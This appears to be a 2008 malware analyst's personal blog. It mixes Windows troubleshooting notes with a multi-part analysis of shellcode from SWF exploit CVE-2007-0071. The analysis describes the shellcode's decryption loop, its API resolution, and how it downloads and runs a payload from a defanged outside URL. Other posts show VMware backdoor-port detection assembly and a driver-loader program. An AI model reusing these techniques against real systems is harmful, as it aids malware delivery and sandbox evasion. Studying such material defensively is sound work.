Tuesday, June 24, 2008

Notes for me .. in case i forgot where to find it ...

When you are searching for something ... you need to have the right keywords for it ...

Like for example I've read a very informative Microsoft TechEd document titled
"Writing Secure Native Code with Visual C++" a couple of years ago.

I'd been searching for a long time ... just to find out that it is not available online ... hehehhe

some excerpt

By default, the older less-secure C runtime functions are declared to be deprecated in the C runtime library header files using the __declspec(deprecated) extended attribute syntax. To turn off the deprecation warnings for the older, less secure functions, you may define the macro _CRT_SECURE_NO_DEPRECATE. Alternatively, you may use the #pragma warning to disable individual warnings.

#pragma warning (disable:4996)

Many of the new C runtime functions check incoming parameters for validity. Parameter validation includes checking for NULL pointers, checking that integral values are within valid ranges, and checking for valid enumeration values. If a problem is detected by the function, an invalid parameter handler is automatically called by the runtime library. The default invalid parameter handler provided by the C runtime raises and Access Violation exception. In Debug mode, an assertion is also raised.

The runtime library provides a function, __set_invalid_parameter_handler so that you may install your own function to respond to input parameter errors. Your function may terminate the application, or it may return control to the calling function that received the invalid parameters. The calling function will normally discontinue execution and set errno to an error code such as EINVAL to indicate invalid parameters. The calling function may use more specific values for errno, such as EBADF to indicate a bad file pointer was detected.

Another site that I always use for reference is the site below ... for VMWare and Virtual PC detection stuff


/* in Intel syntax (MASM and most Windows based assemblers) */
MOV EAX, 564D5868h /* magic number */
MOV EBX, command-specific-parameter
MOV CX, backdoor-command-number
MOV DX, 5658h /* VMware I/O Port */

/* in AT&T syntax (gnu as and many unix based assemblers) */
movl $0x564D5868, %eax; /* magic number */
movl command-specific-parameter, %ebx;
movw backdoor-command-number, %cx;
movw $0x5658, %dx; /* VMware I/O port */
inl %dx, %eax; (or outl %eax, %dx)

and also this one


Wednesday, June 18, 2008

What is so wrong with this? ...

These guys are so desperate .... :(

Well I installed Zango ... and after that all hell breaks loose ... pop ups all you want.

After that I went to rapidshare .. and got this message box ...

At first I thought it came from rapidshare but seeing that small IE box makes me suspicious.
(Well it did not came from rapidshare ... )

After I chose Cancel .... Then I am NOT surprised that it STILL run
(I know it is just an animation ehehhe ... but for a normal user they may think that it is really running ... and detecting malwares on my machine .... so deceiving)

Lucky for me ... I am running in a virtual environment ...

By the way, Boston Celtics are now 2007-2008 NBA Champions

Go Greens!!!

Friday, June 13, 2008

Moving hard disk with Windows XP into another machine

Just another note for me.

When using a mobile rack and your hard drive contains a Windows XP OS, you can follow these instructions so you will not encounter any error moving on another machine.

From Micro$oft support ...

I will repost the contents of the URL here in case they remove it from that URL.
This article helped a lot of analysts that I know....


Microsoft support article

You receive a Stop 0x0000007B error after you move the Windows XP system disk to another computer


This article describes how you may receive a Stop error when you try to start the Microsoft Windows XP-based backup computer after you move the system disk to a backup computer. This issue occurs when registry entries and the drivers for the mass storage controller are not installed in Windows XP. To resolve this issue, use the same hardware in the backup computer.


After you move the Microsoft Windows XP system (boot) disk to a backup computer, you may receive the following Stop error when you try to start the Windows XP-based backup computer:
STOP: 0x0000007B (0xF741B84C,0xC0000034,0x00000000,0x00000000)


This error may occur if the registry entries and the drivers for the mass storage controller hardware in the backup computer are not installed in Windows XP.

For integrated device electronics (IDE) controllers, there are several different chip sets available, such as Intel, VIA, and Promise. Each chip set has a different Plug-n-Play identifier (PnP-ID).

The PnP-ID information of mass storage controllers for the backup computer must be in the registry before startup so that Windows XP can initialize the correct drivers.


To resolve this error, use the same hardware for the backup computer:
Replace the problem hardware components in the backup computer with components of the same manufacturer, make, and model as the motherboard in the computer that you are backing up.
If the system disk is a SCSI disk, use the same make and model of SCSI controller in the new computer.
If the system disk is an IDE disk, use the same kind of motherboard in the new computer, a motherboard that has the same kind of IDE chip set and the same PnP-ID as the motherboard in the computer that you are backing up.
For SCSI-based system disks, you can prime the registry and make sure that the drivers that you want are in place by installing the SCSI controller that is used by the backup computer before you transfer the system disk contents. Windows XP PnP detects the controller, sets up critical registry entries, and copies the appropriate driver.

After you see the SCSI controller in Device Manager, you can remove the alternate controller. If you have to move the system disk to another computer that has the same make and model of SCSI controller in the future, Windows XP will start successfully because Windows XP has already used that controller one time and has retained the correct configuration information.


Although Microsoft does not support this method, you can import or merge the required registry entries, and copy the drivers beforehand to support all IDE controllers that are natively supported by Windows XP. Note that although this method might enable the relocated system disk to start successfully, other hardware differences can lead to other problems.

This solution provides support for IDE controllers whose PnP-ID matches one of the PnP-IDs in the following list. However, if you want to determine beforehand the IDE controllers that are used in your current and backup computers, you can search the %SystemRoot%\Setupapi.log file for the PnP-ID that is detected while the Setup program is running.

After you determine the PnP-IDs that are used in your computers, you can choose to merge or to populate the registry with only the PnP-IDs that you need.

The following list shows the PnP-IDs of natively supported IDE controllers in Windows XP:

   ;*********** Standard IDE ATA/ATAPI Controllers *********

;*********** Generic ESDI Hard Disk_Controller **********

;*********** Aztech IDE Controller **********************

;*********** Device ID for Generic Dual PCI IDE *********

;************ALI IDE Controller ******************************

;************Appian Technology **************************

;************CMD Technology *****************************

;************Compaq *************************************

;*************Intel *************************************

;*************PC Technology *****************************

;*************Silicon Integrated System *****************

;*************Symphony Labs *****************************

;*************Promise Technology ************************

;*************VIA Technologies, Inc. ********************

;*************Standard Microsystems Corp. ***************

;*************Toshiba ***********************************

To import this information, follow these steps on two different test computers that exhibit the Stop 0x0000007B error after you change disks between computers. After you follow this procedure on each test computer, you can probably move the hard disks and start both computers without receiving the Stop 0x0000007B error. However, other hardware differences can cause other problems.
1.Copy the following information into Notepad, and then save the file on a 3.5-inch disk. Name the file Mergeide.reg, without the .txt file name extension.

********** Start copy here **********
Windows Registry Editor Version 5.00
































;Add driver for Atapi (requires Atapi.sys in Drivers directory)

"Group"="SCSI miniport"
"DisplayName"="Standard IDE/ESDI Hard Disk Controller"

;Add driver for intelide (requires intelide.sys in drivers directory)

"Group"="System Bus Extender"

;Add driver for Pciide (requires Pciide.sys and Pciidex.sys in Drivers directory)

"Group"="System Bus Extender"
********** End copy here **********

2.Extract the Atapi.sys, Intelide.sys, Pciide.sys, and Pciidex.sys files from the %SystemRoot%\Driver Cache\I386\Driver.cab file, or copy the files to the %SystemRoot%\System32\Drivers folder.
3.In Microsoft Windows Explorer, right-click the Mergeide.reg file in the floppy drive, and then click Merge.

Windows XP displays the following message:
Are you sure you want to add the information in A:\Mergeide.reg to the registry?
Click Yes.

After the import process is completed, Windows XP displays another message:
Information from A:\Mergeide.reg was successfully entered into the registry.
4.Quit Windows XP, turn off the computer, and then move the system disk to the other test computer, the one that previously produced a Stop 0x0000007B error, and then test to see if you can successfully start the second computer.


Saturday, June 7, 2008

Analysis of the shellcode of SWF Exploit CVE-2007-0071

After the decryption code, it will search for the base address of kernel32.dll to get the addresses of the APIs that it will need.

As shown in the illustration it uses the Process Environment Block (PEB) to get the kernel32.dll's base address.

Here is a great explanation on PEB.

It goes to fs:[30] as its entry point to the PEB.

Here is a very good reference where the values in fs points to. Basically it is more of the Thread Information Block (TIB).

Once it gets the base address of kernel32.dll in memory, it will get all the API addresses it needs in the export address table.

kernel32.dll base address in XP is 77E60000.
(I reckon it depends on the version of XP, I will double check on this in a few days.)

So below is a list of APIs that it gets



It will also get the import table address. In this case it gets API addresses from the imported DLL of kernel32.dll, which is ntdll.dll.

It gets the addresses of the following APIs

NtCreateProcessEx - ntdll.ZwCreateProcessEx
NtWriteVirtualMemory - ntdll.ZwWriteVirtualMemory

Below you can see that it calls kernel32.LoadLibraryA API to load the urlmon.dll.
It used the JMP instruction instead of a direct CALL instruction to the API.

When this is debugged and you go inside kernel32.dll, you will see this in the stack.

It finds the address of the API urlmon.URLDownloadToFileA in urlmon.dll.

Then it changes the memory protection on the address of ntdll.ZwCreateProcessEx, ntdll.ZwWriteVirtualMemory and kernel32.CreateProcessInternalW to PAGE_EXECUTE_READ.

Then it gets the temporary path of the system and deletes the file orz.exe in the temporary path of the system to make sure the file will be the latest version.

In the figure below you can see that it calls the API urlmon.URLDownloadToFileA with the following parameters

HRESULT URLDownloadToFile(
LPCTSTR szFileName,
DWORD dwReserved,
Relevant values

szURL = hxxp://mmlan . com . cn / mm . exe
szFileName = C:\DOCUME~1\username\LOCALS~1\Temp\ orz.exe

Then it executes the file using the kernel32.CreateProcessInternalA API.

That's it.

Enjoy your weekend.

Friday, June 6, 2008

Celtics won game 1 ... continuing with the SWF exploit analysis CVE-2007-0071

I forgot to add this part yesterday,

We need to modify the section where the entry point falls in.
It should flag the section characteristic as writable (Shown below).

Here is the structure of the Section

just place this part in the <... insert update here...> section on yesterdays blog.

If you do not follow this part, you will encounter an error in the code.


I will finish this tomorrow ... promise ... just need to finish some stuff.


Thursday, June 5, 2008

Just a quick one on SWF Exploit - CVE-2007-0071

This will be a quick one ...

You can trace the exploit code dynamically by injecting it to an EXE file.

In this case I use calc.exe.

In hiew open calc.exe, then highlight starting from entry point up to the number of bytes you want to inject into it. (Highlight in hiew press * then select the bytes).

I just showed above highlighting the correct number of bytes. (Just make the EP = 0 and highlight up to 314h bytes)

Then you can press PutBlk - F2 to insert the exploit code which in my case starts in offset EC or with this instruction

000000EC: E965020000 jmp 000000356 --- (4)

It will look like this in calc.exe

The code starting from the entry point of calc.exe has been replaced with the exploit code.

<... insert update here...>

From here we can start our analysis.

Wednesday, June 4, 2008

SWF Exploit - CVE-2007-0071 Part 2 (how to decrypt the encrypted part?)

Okay, I need to divide this to 3 parts because I do not have the time right now to explain this all at once. I have my day job which falls around 7am (if I am up too early) up to 9pm (if I am motivated and challenged), then my married life which is so great just had our anniversary 2 months ago which finishes my day up until 1am (well thats already the next day).

Alright lets get started.

Now that we have our DEFINEBITS section and found the decryption part, well how do i know that it is the start of the code? The answer is, the first chunk of the code makes no sense ... meaning the disassembled code reported by IDA in those part does n0t do anything relevant, so most probably the exploit may have pointed the Instruction Pointer (IP sometimes Intellectual Property ehheh) to the decryption part, specifically in the CALL instruction. So that one makes sense for me, if I am wrong I am more than happy if you will correct me.

As you can see in the decryption code it
1. pop ebx -> saves the value of the stack in ebx
2. xor ecx, ecx -> initializes ecx to zero, the counter
3. mov ax, 2943 -> moved 2943 to ax
4. xor [ebx+ecx*2], ax -> now this instruction decrypts the rest of the shellcode using the value in ax as the key
5. inc eax -> increments the key by one
6. inc ecx -> counter plus one
7. cmp cx, 164h -> checks if the counter is already 164h
8. go back to #4

so we will do the same using hiew, i will just change the eax register to edx because in hiew it puts the bytes in eax when doing the cryptset thing [F3 -> Ctrl+F7].

One more thing is we will start decrypting in the instruction after the CALL instruction. The reason for this is after the CALL, the value pushed in the stack is the address of the next instruction, in this case it is the STOSB instruction (offset EC), and that is the value of our EBX.

So this is how it will look.

then after that you can execute the cryptset and you will get this

you can see some readable strings in there and it is a URL ... most likely another malware.
Now save the file [F9], and I will explain the decrypted code ... maybe tomorrow.

I downloaded the file and the result is here

Threat Expert Report

Virustotal Report

Low AV detection 10/32 (31.25%)

Okay tomorrow I will show what the decrypted code do in the system.

Enjoy your day.

Hmnnn.. I also need to construct my resignation letter so I can pass it tomorrow. LOLz.

Tuesday, June 3, 2008

SWF Exploit - CVE-2007-0071 Part 1

Last week there were a lot of malware cases that included exploited SWF files.

> Vulnerability

Related blogs written by

> Dancho Danchev
> my former colleague in Trend Micro, Gerald Carsula, who now works in F-secure
> my colleague in PC Tools, Sergei Shevchenko

So here's a guide on how I did it ...

First you have to understand Mark Dowd's research paper on this vulnerability

(I will skip the negative number that will make memory allocation malfunction)

Based from this research the shellcode will be in the DEFINEBITS section.

Excerpt from Mark Dowd's research paper
So, the completed SWF file would look something like this:
[ SWF Header ]
[ Corrupt DefineSceneAndFrameLabelData tag ]
[ DefineBits tag with shellcode ] <--------- here it is
[ DoABC tag with malicious bytecode ]
[ ShowFrame tag ]


So what I did, is used the swfdump tool to give me the DEFINEBITS section.

You can get it here ... and its free ... yeah you read it right ... its free.

from there I got this result
(you need to use the pipe > to redirect the output to a file)

swfdump -atpdu [filename] > logfile

continuation ....

now just one more to show the SHOWFRAME, it needs to be 1

Again excerpt from Mark Dowd's research document
Notice the last tag in this file is a “ShowFrame” tag (tag 0x01).

This is required for the methods in the DoABC tag to be executed.

from there we will know which offsets we are going start extracting the DEFINEBITS section...

so in this one it is in offset 1C to 41B, you can use your favorite hex editor to do this part, in my case I prefer to use the ever powerful hiew (well thats just my opinion).

From there we can save it to a file

Now, the extracted file can now be loaded in your IDA Pro.
Do not forget, it should be disassembled in 32-bit mode.

Well thats just the decryptor code.

I will do the decryption tomorrow ... see yah ...

Monday, June 2, 2008

driver loader ... note 2 of many ....

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

BOOL InstallDriver(IN SC_HANDLE SchSCManager, IN LPCTSTR DriverName, IN LPCTSTR ServiceExe);
BOOL RemoveDriver(IN SC_HANDLE SchSCManager, IN LPCTSTR DriverName);
BOOL StartDriver(IN SC_HANDLE SchSCManager, IN LPCTSTR DriverName);
BOOL StopDriver(IN SC_HANDLE SchSCManager, IN LPCTSTR DriverName);
BOOL OpenDevice(IN LPCTSTR DriverName);

VOID __cdecl main(IN int argc, IN char *argv[]){
SC_HANDLE schSCManager;
if (argc != 3){
char currentDirectory[128];
printf ("usage: instdrv <.sys location>\n");
printf (" to install a kernel-mode device driver, or:\n");
printf (" instdrv remove\n");
printf (" to remove a kernel-mode device driver\n\n");
GetCurrentDirectory (128, currentDirectory);
printf (" Example: instdrv simpldrv %s\\obj\\i386\\simpldrv.sys\n",
exit (1);
schSCManager = OpenSCManager (NULL, // machine (NULL == local)
NULL, // database (NULL ==default)
SC_MANAGER_ALL_ACCESS // access required
if (!_stricmp (argv[2], "remove")){
StopDriver (schSCManager, argv[1] );
RemoveDriver (schSCManager, argv[1]);
InstallDriver (schSCManager, argv[1], argv[2]);
StartDriver (schSCManager, argv[1]);
OpenDevice (argv[1]);
CloseServiceHandle (schSCManager);

BOOL InstallDriver(
IN LPCTSTR DriverName,
IN LPCTSTR ServiceExe)
SC_HANDLE schService;
DWORD err;

// NOTE: This creates an entry for a standalone driver. If this
// is modified for use with a driver that requires a Tag,
// Group, and/or Dependencies, it may be necessary to
// query the registry for existing driver information
// (in order to determine a unique Tag, etc.).
schService = CreateService (SchSCManager, // SCManager database
DriverName, // name of service
DriverName, // name to display
SERVICE_ALL_ACCESS, // desired access
SERVICE_KERNEL_DRIVER, // service type
SERVICE_ERROR_NORMAL, // error control type
ServiceExe, // service's binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL // no password
if (schService == NULL){
err = GetLastError();
// A common cause of failure (easier to read than an error code)
printf ("failure: CreateService, ERROR_SERVICE_EXISTS\n");
printf ("failure: CreateService (0x%02x)\n", err);
return FALSE;
printf ("CreateService SUCCESS\n");
CloseServiceHandle (schService);
return TRUE;

BOOL RemoveDriver(IN SC_HANDLE SchSCManager, IN LPCTSTR DriverName){
SC_HANDLE schService;
BOOL ret;

schService = OpenService (SchSCManager, DriverName, SERVICE_ALL_ACCESS);

if (schService == NULL){
printf ("failure: OpenService (0x%02x)\n", GetLastError());
return FALSE;
ret = DeleteService (schService);

if (ret){
printf ("DeleteService SUCCESS\n");
printf ("failure: DeleteService (0x%02x)\n", GetLastError());
CloseServiceHandle (schService);
return ret;
BOOL StartDriver(IN SC_HANDLE SchSCManager, IN LPCTSTR DriverName){
SC_HANDLE schService;
BOOL ret;
DWORD err;

schService = OpenService (SchSCManager, DriverName, SERVICE_ALL_ACCESS);

if (schService == NULL){
printf ("failure: OpenService (0x%02x)\n", GetLastError());
return FALSE;
ret = StartService (schService, // service identifier
0, // number of arguments
NULL // pointer to arguments
if (ret){
printf ("StartService SUCCESS\n");
err = GetLastError();
// A common cause of failure (easier to read than an error code)
printf ("failure: StartService, ERROR_SERVICE_ALREADY_RUNNING\n");
printf ("failure: StartService (0x%02x)\n", err);

CloseServiceHandle (schService);
return ret;

BOOL StopDriver(IN SC_HANDLE SchSCManager, IN LPCTSTR DriverName){
SC_HANDLE schService;
BOOL ret;
SERVICE_STATUS serviceStatus;
schService = OpenService (SchSCManager, DriverName, SERVICE_ALL_ACCESS);

if (schService == NULL){
printf ("failure: OpenService (0x%02x)\n", GetLastError());
return FALSE;
ret = ControlService (schService, SERVICE_CONTROL_STOP, &serviceStatus);
if (ret){
printf ("ControlService SUCCESS\n");
printf ("failure: ControlService (0x%02x)\n", GetLastError());
CloseServiceHandle (schService);
return ret;

BOOL OpenDevice(IN LPCTSTR DriverName){
char completeDeviceName[64] = "";
LPCTSTR dosDeviceName = DriverName;
HANDLE hDevice;
BOOL ret;

// Create a \\.\XXX device name that CreateFile can use
// NOTE: We're making an assumption here that the driver
// has created a symbolic link using it's own name
// (i.e. if the driver has the name "XXX" we assume
// that it used IoCreateSymbolicLink to create a
// symbolic link "\DosDevices\XXX". Usually, there
// is this understanding between related apps/drivers.
// An application might also peruse the DEVICEMAP
// section of the registry, or use the QueryDosDevice
// API to enumerate the existing symbolic links in the
// system.

strcat (completeDeviceName, "\\\\.\\");
strcat (completeDeviceName, dosDeviceName);

hDevice = CreateFile (completeDeviceName,
if (hDevice == ((HANDLE)-1)){
printf ("Can't get a handle to %s\n", completeDeviceName);
ret = FALSE;
printf ("CreateFile SUCCESS\n");
CloseHandle (hDevice);
ret = TRUE;
return ret;